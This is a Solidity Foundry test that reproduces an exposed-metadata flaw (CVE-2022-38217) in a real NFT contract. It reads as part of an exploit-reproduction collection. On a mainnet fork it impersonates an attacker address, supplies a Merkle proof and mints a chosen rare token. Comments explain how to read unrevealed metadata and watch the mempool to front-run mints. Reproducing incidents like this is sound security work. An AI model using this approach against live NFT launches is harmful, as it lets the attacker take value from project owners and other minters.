NFTMint_exposedMetadata.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.18;

import "forge-std/Test.sol";
import "./interface.sol";

/*
Name: NFT Mint via Exposed Metadata Vulnerability

Description:
The contract is vulnerable to CVE-2022-38217, this could lead to the early disclosure of metadata of all NFTs in the project.
As a result, attacker can find out valuable NFTs and then target mint of specific NFTs by monitoring mempool
and sell the NFTs for a profit in secondary market.

The issue is the metadata should be visible after the minting is completed

REF:
https://twitter.com/Supremacy_CA/status/1596176732729769985
https://medium.com/@Supremacy_Official/evilreveal-cve-2022-38217-a-nuclear-weapon-level-generic-vulnerability-buried-under-the-nft-5112724dabb
*/

//@audit-info Essentially web2
contract ContractTest is DSTest {
    IFantasticWeslie nftContract =
        IFantasticWeslie(0xf6FFBa463e46087FcdC3a51391bB675B0e2C1a40); // Fantastic Weslie

    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    bytes32[] merkleTreeProof;

    function setUp() public {
        cheats.createSelectFork("mainnet", 16023847);
    }

    function testExploit() public {
        //Since the contract is vulnerable to CVE-2022-38217
        //it could lead to the early disclosure of metadata of all NFTs in the project
        //As a result, attacker can find out valuable NFTs and then target mint specified NFTs by monitoring Mempool and sell the NFTs for a profit in secondary market

        //For example, Lets assume the attacker finds out that NFT#142 is a rare NFT, now he just has to moniter the mempool till NFT#141 is minted and then mint NFT#142
        //View Metadata of the NFTs via cURL -> curl -k https://bafybeic23x4v75z7isyqhy5p6ylzqutm6lnpobwngaouovdu6qjjvt4wpu.ipfs.dweb.link/142.json
        //The issue is the metadata should be visible after the minting is completed

        //etherscan tx - 0xfa4434236d2a9717e3410d7cdc60eed6acfddb054f58bc779c07349a1f45ce6b
        //etherscan tx - 0x24af97355f6cec4ae02fff8bbf7144a02857e3ffd36a650aa295c62f6272cc83

        address attacker = 0x1fCebBb5D3EACd26e70b0BD1E54a979a479906aA;
        cheats.prank(attacker);

        merkleTreeProof.push(
            0x0ea49bae9ab4f8b82fb0e0b5e876576c9a4a945edc2fa5a7b448fad470802ae6
        );
        merkleTreeProof.push(
            0x852233af3700b87dc51f6abf53d4f935746d746d84a33d4d7e6302d9c110fedd
        );
        merkleTreeProof.push(
            0x5de513269badb3a0b73e237a9f28f86994791f4421effd1865df975a0f8ee52c
        );
        merkleTreeProof.push(
            0xe52d780f15394a8f6254f328ca06a66909c41f1ee3adab33d02cd087f8c37604
        );
        merkleTreeProof.push(
            0xede88505e4259ab482a1019cc8d4364cf9e1e7866768245854c0f6e369d2b08c
        );
        merkleTreeProof.push(
            0x776fee48d9285a8e2d1ecde47354e9ebe91b10f0b5f2d754968af831a7047808
        );
        merkleTreeProof.push(
            0x3d13c4757d9e35123b8785040c29f232483941fb7d591b1a94167c1ca5e8875f
        );
        merkleTreeProof.push(
            0xc36c091c358833709f1b6f44e783e5d9ad5ad9f5f0ee09a37c376fd354827fb1
        );
        merkleTreeProof.push(
            0xce26991b2af9fc0fb807aea36667d37439ae7122d3ea8edcbfe92b04bf674922
        );
        merkleTreeProof.push(
            0x8452c207732923a758c53fb296f3d88340a04fe9c381c73ba44343a45340953e
        );
        merkleTreeProof.push(
            0xcc44822b3b5a19839899f6795622daff3bab327895558977ea58a30a42c6a49e
        );
        merkleTreeProof.push(
            0x45c575962e5a88b5e8c3aedf4e3e74306d0124f4cc86c25bc4cd1bcae16c54a0
        );

        nftContract.mint{value: 0.12 ether}(merkleTreeProof);

        console.log("Owner of NFT#142 : ", nftContract.ownerOf(142));
    }
}